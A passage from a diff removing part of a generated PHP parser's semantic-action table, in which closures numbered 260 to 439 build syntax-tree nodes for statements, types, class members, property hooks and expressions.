$self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 260 => static function ($self, $stackPos) { - $self->semValue = new Node\MatchArm(null, $self->semStack[$stackPos-(4-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 261 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(1-1)]; - }, - 262 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(4-2)]; - }, - 263 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 264 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(2-1)][] = $self->semStack[$stackPos-(2-2)]; $self->semValue = $self->semStack[$stackPos-(2-1)]; - }, - 265 => static function ($self, $stackPos) { - $self->semValue = new Stmt\ElseIf_($self->semStack[$stackPos-(5-3)], $self->semStack[$stackPos-(5-5)], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos])); - }, - 266 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 267 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(2-1)][] = $self->semStack[$stackPos-(2-2)]; $self->semValue = $self->semStack[$stackPos-(2-1)]; - }, - 268 => static function ($self, $stackPos) { - $self->semValue = new Stmt\ElseIf_($self->semStack[$stackPos-(6-3)], $self->semStack[$stackPos-(6-6)], $self->getAttributes($self->tokenStartStack[$stackPos-(6-1)], $self->tokenEndStack[$stackPos])); $self->fixupAlternativeElse($self->semValue); - }, - 269 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 270 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Else_($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 271 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 272 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Else_($self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); $self->fixupAlternativeElse($self->semValue); - }, - 273 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)], false); - }, - 274 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(2-2)], true); - }, - 275 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)], false); - }, - 276 => static function ($self, $stackPos) { - $self->semValue = array($self->fixupArrayDestructuring($self->semStack[$stackPos-(1-1)]), false); - }, - 277 => null, - 278 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 279 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 280 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 281 => static function ($self, $stackPos) { - $self->semValue = 0; - }, - 282 => static function ($self, $stackPos) { - $self->checkModifier($self->semStack[$stackPos-(2-1)], $self->semStack[$stackPos-(2-2)], $stackPos-(2-2)); $self->semValue = $self->semStack[$stackPos-(2-1)] | $self->semStack[$stackPos-(2-2)]; - }, - 283 => static function ($self, $stackPos) { - $self->semValue = Modifiers::PUBLIC; - }, - 284 => static function ($self, $stackPos) { - $self->semValue = Modifiers::PROTECTED; - }, - 285 => static function ($self, $stackPos) { - $self->semValue = Modifiers::PRIVATE; - }, - 286 => static function ($self, $stackPos) { - $self->semValue = Modifiers::PUBLIC_SET; - }, - 287 => static function ($self, $stackPos) { - $self->semValue = Modifiers::PROTECTED_SET; - }, - 288 => static function ($self, $stackPos) { - $self->semValue = Modifiers::PRIVATE_SET; - }, - 289 => static function ($self, $stackPos) { - $self->semValue = Modifiers::READONLY; - }, - 290 => static function ($self, $stackPos) { - $self->semValue = new Node\Param($self->semStack[$stackPos-(7-6)], null, $self->semStack[$stackPos-(7-3)], $self->semStack[$stackPos-(7-4)], $self->semStack[$stackPos-(7-5)], $self->getAttributes($self->tokenStartStack[$stackPos-(7-1)], $self->tokenEndStack[$stackPos]), $self->semStack[$stackPos-(7-2)], $self->semStack[$stackPos-(7-1)], $self->semStack[$stackPos-(7-7)]); - $self->checkParam($self->semValue); - $self->addPropertyNameToHooks($self->semValue); - }, - 291 => static function ($self, $stackPos) { - $self->semValue = new Node\Param($self->semStack[$stackPos-(9-6)], $self->semStack[$stackPos-(9-8)], $self->semStack[$stackPos-(9-3)], $self->semStack[$stackPos-(9-4)], $self->semStack[$stackPos-(9-5)], $self->getAttributes($self->tokenStartStack[$stackPos-(9-1)], $self->tokenEndStack[$stackPos]), $self->semStack[$stackPos-(9-2)], $self->semStack[$stackPos-(9-1)], $self->semStack[$stackPos-(9-9)]); - $self->checkParam($self->semValue); - $self->addPropertyNameToHooks($self->semValue); - }, - 292 => static function ($self, $stackPos) { - $self->semValue = new Node\Param(new Expr\Error($self->getAttributes($self->tokenStartStack[$stackPos-(6-1)], $self->tokenEndStack[$stackPos])), null, $self->semStack[$stackPos-(6-3)], $self->semStack[$stackPos-(6-4)], $self->semStack[$stackPos-(6-5)], $self->getAttributes($self->tokenStartStack[$stackPos-(6-1)], $self->tokenEndStack[$stackPos]), $self->semStack[$stackPos-(6-2)], $self->semStack[$stackPos-(6-1)]); - }, - 293 => null, - 294 => static function ($self, $stackPos) { - $self->semValue = new Node\NullableType($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 295 => static function ($self, $stackPos) { - $self->semValue = new Node\UnionType($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 296 => null, - 297 => null, - 298 => static function ($self, $stackPos) { - $self->semValue = new Node\Name('static', $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 299 => static function ($self, $stackPos) { - $self->semValue = $self->handleBuiltinTypes($self->semStack[$stackPos-(1-1)]); - }, - 300 => static function ($self, $stackPos) { - $self->semValue = new Node\Identifier('array', $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 301 => static function ($self, $stackPos) { - $self->semValue = new Node\Identifier('callable', $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 302 => null, - 303 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 304 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)]); - }, - 305 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 306 => null, - 307 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 308 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)]); - }, - 309 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 310 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)]); - }, - 311 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 312 => static function ($self, $stackPos) { - $self->semValue = new Node\IntersectionType($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 313 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)]); - }, - 314 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 315 => static function ($self, $stackPos) { - $self->semValue = new Node\IntersectionType($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 316 => null, - 317 => static function ($self, $stackPos) { - $self->semValue = new Node\NullableType($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 318 => static function ($self, $stackPos) { - $self->semValue = new Node\UnionType($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 319 => null, - 320 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 321 => null, - 322 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 323 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(2-2)]; - }, - 324 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 325 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 326 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(4-2)]; - }, - 327 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(3-2)]); - }, - 328 => static function ($self, $stackPos) { - $self->semValue = new Node\VariadicPlaceholder($self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 329 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 330 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 331 => static function ($self, $stackPos) { - $self->semValue = new Node\Arg($self->semStack[$stackPos-(1-1)], false, false, $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 332 => static function ($self, $stackPos) { - $self->semValue = new Node\Arg($self->semStack[$stackPos-(2-2)], true, false, $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 333 => static function ($self, $stackPos) { - $self->semValue = new Node\Arg($self->semStack[$stackPos-(2-2)], false, true, $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 334 => static function ($self, $stackPos) { - $self->semValue = new Node\Arg($self->semStack[$stackPos-(3-3)], false, false, $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos]), $self->semStack[$stackPos-(3-1)]); - }, - 335 => null, - 336 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 337 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 338 => null, - 339 => null, - 340 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 341 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 342 => static function ($self, $stackPos) { - $self->semValue = new Node\StaticVar($self->semStack[$stackPos-(1-1)], null, $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 343 => static function ($self, $stackPos) { - $self->semValue = new Node\StaticVar($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 344 => static function ($self, $stackPos) { - if ($self->semStack[$stackPos-(2-2)] !== null) { $self->semStack[$stackPos-(2-1)][] = $self->semStack[$stackPos-(2-2)]; $self->semValue = $self->semStack[$stackPos-(2-1)]; } else { $self->semValue = $self->semStack[$stackPos-(2-1)]; } - }, - 345 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 346 => static function ($self, $stackPos) { - $nop = $self->maybeCreateZeroLengthNop($self->tokenPos);; - if ($nop !== null) { $self->semStack[$stackPos-(1-1)][] = $nop; } $self->semValue = $self->semStack[$stackPos-(1-1)]; - }, - 347 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Property($self->semStack[$stackPos-(5-2)], $self->semStack[$stackPos-(5-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos]), $self->semStack[$stackPos-(5-3)], $self->semStack[$stackPos-(5-1)]); - }, - 348 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Property($self->semStack[$stackPos-(7-2)], $self->semStack[$stackPos-(7-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(7-1)], $self->tokenEndStack[$stackPos]), $self->semStack[$stackPos-(7-3)], $self->semStack[$stackPos-(7-1)], $self->semStack[$stackPos-(7-6)]); - $self->checkPropertyHooksForMultiProperty($self->semValue, $stackPos-(7-5)); - $self->checkEmptyPropertyHookList($self->semStack[$stackPos-(7-6)], $stackPos-(7-5)); - $self->addPropertyNameToHooks($self->semValue); - }, - 349 => static function ($self, $stackPos) { - $self->semValue = new Stmt\ClassConst($self->semStack[$stackPos-(5-4)], $self->semStack[$stackPos-(5-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos]), $self->semStack[$stackPos-(5-1)]); - $self->checkClassConst($self->semValue, $stackPos-(5-2)); - }, - 350 => static function ($self, $stackPos) { - $self->semValue = new Stmt\ClassConst($self->semStack[$stackPos-(6-5)], $self->semStack[$stackPos-(6-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(6-1)], $self->tokenEndStack[$stackPos]), $self->semStack[$stackPos-(6-1)], $self->semStack[$stackPos-(6-4)]); - $self->checkClassConst($self->semValue, $stackPos-(6-2)); - }, - 351 => static function ($self, $stackPos) { - $self->semValue = new Stmt\ClassMethod($self->semStack[$stackPos-(10-5)], ['type' => $self->semStack[$stackPos-(10-2)], 'byRef' => $self->semStack[$stackPos-(10-4)], 'params' => $self->semStack[$stackPos-(10-7)], 'returnType' => $self->semStack[$stackPos-(10-9)], 'stmts' => $self->semStack[$stackPos-(10-10)], 'attrGroups' => $self->semStack[$stackPos-(10-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(10-1)], $self->tokenEndStack[$stackPos])); - $self->checkClassMethod($self->semValue, $stackPos-(10-2)); - }, - 352 => static function ($self, $stackPos) { - $self->semValue = new Stmt\TraitUse($self->semStack[$stackPos-(3-2)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 353 => static function ($self, $stackPos) { - $self->semValue = new Stmt\EnumCase($self->semStack[$stackPos-(5-3)], $self->semStack[$stackPos-(5-4)], $self->semStack[$stackPos-(5-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos])); - }, - 354 => static function ($self, $stackPos) { - $self->semValue = null; /* will be skipped */ - }, - 355 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 356 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 357 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 358 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(2-1)][] = $self->semStack[$stackPos-(2-2)]; $self->semValue = $self->semStack[$stackPos-(2-1)]; - }, - 359 => static function ($self, $stackPos) { - $self->semValue = new Stmt\TraitUseAdaptation\Precedence($self->semStack[$stackPos-(4-1)][0], $self->semStack[$stackPos-(4-1)][1], $self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 360 => static function ($self, $stackPos) { - $self->semValue = new Stmt\TraitUseAdaptation\Alias($self->semStack[$stackPos-(5-1)][0], $self->semStack[$stackPos-(5-1)][1], $self->semStack[$stackPos-(5-3)], $self->semStack[$stackPos-(5-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos])); - }, - 361 => static function ($self, $stackPos) { - $self->semValue = new Stmt\TraitUseAdaptation\Alias($self->semStack[$stackPos-(4-1)][0], $self->semStack[$stackPos-(4-1)][1], $self->semStack[$stackPos-(4-3)], null, $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 362 => static function ($self, $stackPos) { - $self->semValue = new Stmt\TraitUseAdaptation\Alias($self->semStack[$stackPos-(4-1)][0], $self->semStack[$stackPos-(4-1)][1], null, $self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 363 => static function ($self, $stackPos) { - $self->semValue = new Stmt\TraitUseAdaptation\Alias($self->semStack[$stackPos-(4-1)][0], $self->semStack[$stackPos-(4-1)][1], null, $self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 364 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)]); - }, - 365 => null, - 366 => static function ($self, $stackPos) { - $self->semValue = array(null, $self->semStack[$stackPos-(1-1)]); - }, - 367 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 368 => null, - 369 => null, - 370 => static function ($self, $stackPos) { - $self->semValue = 0; - }, - 371 => static function ($self, $stackPos) { - $self->semValue = 0; - }, - 372 => null, - 373 => null, - 374 => static function ($self, $stackPos) { - $self->checkModifier($self->semStack[$stackPos-(2-1)], $self->semStack[$stackPos-(2-2)], $stackPos-(2-2)); $self->semValue = $self->semStack[$stackPos-(2-1)] | $self->semStack[$stackPos-(2-2)]; - }, - 375 => static function ($self, $stackPos) { - $self->semValue = Modifiers::PUBLIC; - }, - 376 => static function ($self, $stackPos) { - $self->semValue = Modifiers::PROTECTED; - }, - 377 => static function ($self, $stackPos) { - $self->semValue = Modifiers::PRIVATE; - }, - 378 => static function ($self, $stackPos) { - $self->semValue = Modifiers::PUBLIC_SET; - }, - 379 => static function ($self, $stackPos) { - $self->semValue = Modifiers::PROTECTED_SET; - }, - 380 => static function ($self, $stackPos) { - $self->semValue = Modifiers::PRIVATE_SET; - }, - 381 => static function ($self, $stackPos) { - $self->semValue = Modifiers::STATIC; - }, - 382 => static function ($self, $stackPos) { - $self->semValue = Modifiers::ABSTRACT; - }, - 383 => static function ($self, $stackPos) { - $self->semValue = Modifiers::FINAL; - }, - 384 => static function ($self, $stackPos) { - $self->semValue = Modifiers::READONLY; - }, - 385 => null, - 386 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 387 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 388 => static function ($self, $stackPos) { - $self->semValue = new Node\VarLikeIdentifier(substr($self->semStack[$stackPos-(1-1)], 1), $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 389 => static function ($self, $stackPos) { - $self->semValue = new Node\PropertyItem($self->semStack[$stackPos-(1-1)], null, $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 390 => static function ($self, $stackPos) { - $self->semValue = new Node\PropertyItem($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 391 => static function ($self, $stackPos) { - $self->semValue = []; - }, - 392 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(2-1)][] = $self->semStack[$stackPos-(2-2)]; $self->semValue = $self->semStack[$stackPos-(2-1)]; - }, - 393 => static function ($self, $stackPos) { - $self->semValue = []; - }, - 394 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; $self->checkEmptyPropertyHookList($self->semStack[$stackPos-(3-2)], $stackPos-(3-1)); - }, - 395 => static function ($self, $stackPos) { - $self->semValue = new Node\PropertyHook($self->semStack[$stackPos-(5-4)], $self->semStack[$stackPos-(5-5)], ['flags' => $self->semStack[$stackPos-(5-2)], 'byRef' => $self->semStack[$stackPos-(5-3)], 'params' => [], 'attrGroups' => $self->semStack[$stackPos-(5-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos])); - $self->checkPropertyHook($self->semValue, null); - }, - 396 => static function ($self, $stackPos) { - $self->semValue = new Node\PropertyHook($self->semStack[$stackPos-(8-4)], $self->semStack[$stackPos-(8-8)], ['flags' => $self->semStack[$stackPos-(8-2)], 'byRef' => $self->semStack[$stackPos-(8-3)], 'params' => $self->semStack[$stackPos-(8-6)], 'attrGroups' => $self->semStack[$stackPos-(8-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(8-1)], $self->tokenEndStack[$stackPos])); - $self->checkPropertyHook($self->semValue, $stackPos-(8-5)); - }, - 397 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 398 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 399 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 400 => static function ($self, $stackPos) { - $self->semValue = 0; - }, - 401 => static function ($self, $stackPos) { - $self->checkPropertyHookModifiers($self->semStack[$stackPos-(2-1)], $self->semStack[$stackPos-(2-2)], $stackPos-(2-2)); $self->semValue = $self->semStack[$stackPos-(2-1)] | $self->semStack[$stackPos-(2-2)]; - }, - 402 => null, - 403 => null, - 404 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 405 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 406 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 407 => null, - 408 => null, - 409 => static function ($self, $stackPos) { - $self->semValue = new Expr\Assign($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 410 => static function ($self, $stackPos) { - $self->semValue = new Expr\Assign($self->fixupArrayDestructuring($self->semStack[$stackPos-(3-1)]), $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 411 => static function ($self, $stackPos) { - $self->semValue = new Expr\Assign($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 412 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignRef($self->semStack[$stackPos-(4-1)], $self->semStack[$stackPos-(4-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 413 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignRef($self->semStack[$stackPos-(4-1)], $self->semStack[$stackPos-(4-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - if (!$self->phpVersion->allowsAssignNewByReference()) { - $self->emitError(new Error('Cannot assign new by reference', $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos]))); - } - - }, - 414 => null, - 415 => null, - 416 => static function ($self, $stackPos) { - $self->semValue = new Expr\Clone_($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 417 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\Plus($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 418 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\Minus($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 419 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\Mul($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 420 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\Div($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 421 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\Concat($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 422 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\Mod($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 423 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\BitwiseAnd($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 424 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\BitwiseOr($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 425 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\BitwiseXor($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 426 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\ShiftLeft($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 427 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\ShiftRight($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 428 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\Pow($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 429 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\Coalesce($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 430 => static function ($self, $stackPos) { - $self->semValue = new Expr\PostInc($self->semStack[$stackPos-(2-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 431 => static function ($self, $stackPos) { - $self->semValue = new Expr\PreInc($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 432 => static function ($self, $stackPos) { - $self->semValue = new Expr\PostDec($self->semStack[$stackPos-(2-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 433 => static function ($self, $stackPos) { - $self->semValue = new Expr\PreDec($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 434 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\BooleanOr($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 435 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\BooleanAnd($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 436 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\LogicalOr($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 437 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\LogicalAnd($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 438 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\LogicalXor($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 439 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\BitwiseOr($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], 